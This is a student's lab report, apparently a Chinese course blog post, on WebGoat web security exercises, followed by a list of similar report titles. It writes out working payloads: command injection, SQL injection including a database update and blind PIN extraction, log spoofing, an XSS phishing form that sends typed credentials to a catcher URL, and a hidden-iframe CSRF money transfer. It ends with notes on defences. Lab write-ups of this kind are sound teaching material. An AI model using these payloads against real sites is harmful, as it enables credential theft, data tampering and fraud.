20145234黄斐《网络对抗技术》实验九、Web安全基础实践

PS:我是分了两次做的这次试验,第二次实验的时候电脑出了一点问题熄火了……原本后面的是有图的结果博客没保存图没了……

WebGoat

  • WebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来讲授Web应用程序安全课程的。这个应用程序提供了一个逼真的教学环境,为用户完成课程提供了有关的线索。
  • 因为WebGoat是基于java开发的软件,所以它具有平台无关性,在各种操作平台上都可以运行,所以本次实验所处的系统为kali机
  • 在命令行中输入以下指令即可运行相关jar
    • java -jar webgoat-container-7.0.1-war-exec.jar
  • WebGoat默认使用8080端口,所以在看到相关提示:INFO: Starting ProtocolHandler ["http-bio-8080"]后即可开始
  • 打开浏览器,访问localhost:8080/WebGoat,登陆即可

BurpSuite

  • Burp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。
    • 在桌面左边的快捷栏找到,打开他,一直next就好;
    • Proxy->Options,点击Add,自行配置一个端口号,配好以后记得要勾选自己配好的那一条,然后点击run:
    • 打开浏览器的设置页,Advanced->Network->Settings
    • 按照下图进行设置:
    • 若需要将网页拦截下来的时候在proxy里点击intercept把他打开

Injection Flaws

Command Injection

    • 这个界面可以执行系统命令并返回给用户,所以应该在请求项里面添加shell命令,执行ifconfig
    • 具体来说,就是用前文提到的

BurpSuite

    工具拦截请求,并将其中的参数改为(我的是这样):

    • AccessControlMatrix.help"& ifconfig"
    • 表示执行这2个指令,在网页的最后能看到ifconfig的结果,成功

Numeric SQL Injection

  • 要求:尝试用SQL注入,使得能查到所有的天气
  • 思路也很简单,直接构造永真式,即可查找到所有记录
  • 既可以按照上一题的思路用工具捕包修改,也可以直接按F12修改网页源文件,将需要查找的value改为:101 or 1=1
  • 点击go,看到所有城市的天气,成功

Log Spoofing

  • 题目的意思是要你写一个SQL字符串,因为网页会将你输入错误的用户名返回给你,所以我们的目标是使得网页返回给你的结果显示的你登录成功一样
  • 所以在用户名那构造语句:gq%0d%0aLogin Succeeded for username: admin

LAB:SQL Injection

Stage 1:String SQL Injection

  • 根据描述,是要求你在不知道密码的前提下,还能登录成功
  • 利用SQL相关语法,输入‘or 1=‘1
  • 失败,发现超过字符长度。修改源代码(字符串格式与长度),再次输入‘or 1=‘1
  • 成功

Stage 2:Parameterized Query #1

  • 做不了

Stage 3:Numeric SQL Injection

  • 不会……

Stage 4:Parameterized Query #2

  • Stage 2,做不了

String SQL Injection

  • 要求:要你输入正确的Last name登录进去
  • 因为不知道密码,所以用万能密钥试一试,根据前文输入:

    • ‘or 1=‘1
    • 成功,因为为永真,所以任何用户的信息都看见了

Database Backdoors

  • 根据题目要求是要你使用多条语句的SQL注入,更新数据表
  • 根据前一篇博客的多条语句注入练习,在此,设置如下SQL语句:
    • 101; update employee set salary=10000
    • 发现数据表所有人员工资都等于10000已经更新,成功
  • 第二步要求没看懂

Blind Numeric SQL Injection:

  • 数字型盲注入,要求找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值;
  • 不停利用101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) >(或者<) 100 );来猜测,利用折半查找的思想,最终确定答案为2364

Blind String SQL Injection:

  • 字符串型盲注入,要求找到pins表中cc_number字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar;
  • 这和上一题一样猜ASCII的值,答案是Jill;

Cross-Site Scripting (XSS)

Phishing with XSS

  • Phishing with XSS:XSS钓鱼,要求创建一个表单,诱骗访问者输入用户名密码,并将表单提交到http://localhost:8080/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE
    以下是代码示例:

    </form><script>function hack(){
     XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    }
    </script>
    <form name="phish">
    <br>
    <br>
    <HR><H3>This feature requires account login:</H2>
    <br>
    <br>
    Enter Username:
    <br>
    <input type="text" name="user">
    <br>
    Enter Password:
    <br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form><br><br><HR>

Stored XSS Attacks

  • 存储型XSS攻击,要求在信件中写入一个网页或弹窗;
  • 具体操作是这样的:
    • title可以任意输入,根据第一次尝试可以发现,输入的这个可以作为一个超链接更新保存在本界面,点击后即可查看输入内容
    • Message输入消息,可以嵌入一段js代码,用户点击后即可触发,例如输入:<script>alert("5234 attack succeed!");</script>

Cross Site Request Forgery (CSRF)

  • 这里是一个储存型XSS和CSRF结合的示例,CSRF就是冒名登录,用代码伪造请求
  • 这里是把CSRF恶意代码利用储存型XSS放到了网页上,通过留言Message里输入,构造恶意代码如下
    • <iframe src="attack?Screen=504&amp;menu=900&amp;transferFunds=5000"></iframe>
    • 当用户点击这个留言,就会触发,显示已转走5000元
    • 注意:上述screen和menu参数的值和网站右边显示的要保持一致
    • 如果想让用户在不查觉的情况下,可以将<iframe>中的长和宽参数设为1像素,这样就看不见了

实验后回答问题

  • (1)SQL注入攻击原理,如何防御

原理:SQL注入攻击的基本原理,是从客户端合法接口提交特殊的非法代码,让其注入到服务器端执行业务的SQL中去,进而改变SQL语句的原有逻辑和影响服务器端正常业务的处理。

防御:

  1. 执行验证的SQL语句;
  2. 使用正则表达式屏蔽特殊字符;
  3. 使用PreparedStatement代替Statement;
  • (2)XSS攻击的原理,如何防御

原理:XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。

防御:

  1. 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
  2. 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
  • (3)CSRF攻击原理,如何防御

原理:CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。

防御:

  1. 通过 referer、token 或者 验证码 来检测用户提交。
  2. 尽量不要在页面的链接中暴露用户隐私信息。
  3. 对于用户修改删除等操作最好都使用post 操作 。
  4. 避免全站通用的cookie,严格设置cookie的域。
时间: 2024-10-05 05:01:52

20145234黄斐《网络对抗技术》实验九、Web安全基础实践的相关文章

20155201 网络攻防技术 实验九 Web安全基础

20155201 网络攻防技术 实验九 Web安全基础 一.实践内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.报告内容: 1. 基础问题回答 1)SQL注入攻击原理,如何防御 SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息. SQL注入攻击的典型手段:判断应用程序是否存在注入漏洞,收集信息

2018-2019-2 网络对抗技术 20165228 Exp9 Web安全基础实践

2018-2019-2 网络对抗技术 20165228 Exp9 Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 原理:通过在用户名.密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭合.注释部分SQL语句,利用永真式,从而达到登录.显示信息等目的. 防御:对输入进行限制,包括输入长度和特殊字符的类型等 (2)XSS攻击的原理,如何防御 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入

2018-2019-2 网络对抗技术 20165225 Exp8 Web安全基础

2018-2019-2 网络对抗技术 20165225 Exp8 Web安全基础 实践内容 Web前端HTML(0.5分) 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. Web前端javascipt(0.5分) 理解JavaScript的基本功能,理解DOM.编写JavaScript验证用户名.密码的规则. Web后端:MySQL基础:正常安装.启动MySQL,建库.创建用户.修改密码.建表(0.5分) Web后端:编写PHP网页,

2018-2019-2 网络对抗技术 20165225 Exp9 Web安全基础

2018-2019-2 网络对抗技术 20165225 Exp9 Web安全基础 实践内容 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF).Webgoat实践下相关实验. 报告内容 WebGoat WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞.WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS.线程安全.SQL注入.访问控制.隐藏字段.C

2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础

2018-2019-2 20165204<网络对抗技术> Exp9 Web安全基础 实践内容 SQL注入攻击 命令注入(Command Injection) 数字型SQL注入(Numeric SQL Injection) 日志欺骗(Log Spoofing) 字符串型注入(String SQL Injection) LAB: SQL Injection 数据库后门(Database Backdoors) XSS攻击 Phishing with XSS Stored XSS Attacks Re

2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础

2018-2019-2 20165221 [网络对抗技术]-- Exp9 Web安全基础 目录: 一 . 实验要求 二 . 实验过程记录 1 . Webgoat安装 2 . SQL注入的攻击 命令注入(Command Injection) 数字型注入(Numeric SQL Injection) 日志欺骗(Log Spoofing) SQL 注入(LAB: SQL Injection) 字符串注入(String SQL Injection) 数据库后门(Database Backdoors) 数

2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础

2018-2019 2 20165203 <网络对抗技术>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF).Webgoat实践下相关实验. 基础知识问答 (1)SQL注入攻击原理,如何防御 SQL注入的原理:就是通过构建特殊的参数传入web应用程序,而这些输入大多都是SQL语句语法里的组合,通过这些组合构造出某些特殊的含义,从而达到攻击者的攻击目的,例如在用户名和密码框中输入某些像''.--,#等特殊

2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因.如:在用户名.密码登输入框中输入一些',--,#等特殊字符

2018-2019-2 20165219《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165219<网络对抗技术>Exp9 Web安全基础 一 实验内容 WebGoat配置 进入https://github.com/WebGoat/WebGoat/releases?after=8.0.0网站 下载 webgoat-container-7.0.1-war-exec.jar 输入java -jar webgoat-container-7.0.1-war-exec.jar安装jar包 览器登陆http://localhost:8080/WebGoat网站

2018-2019-2 网络对抗技术 20165216 Exp9 Web安全基础

2018-2019-2 网络对抗技术 20165216 Exp9 Web安全基础 1.1.实验内容概述 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF).Webgoat实践下相关实验. 1.2.实验环境 Kali Linux - 64bit(IP为192.168.43.145) Win10-64bits 360浏览器 1.3.基础问题回答 (1)SQL注入攻击原理,如何防御? 原理:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存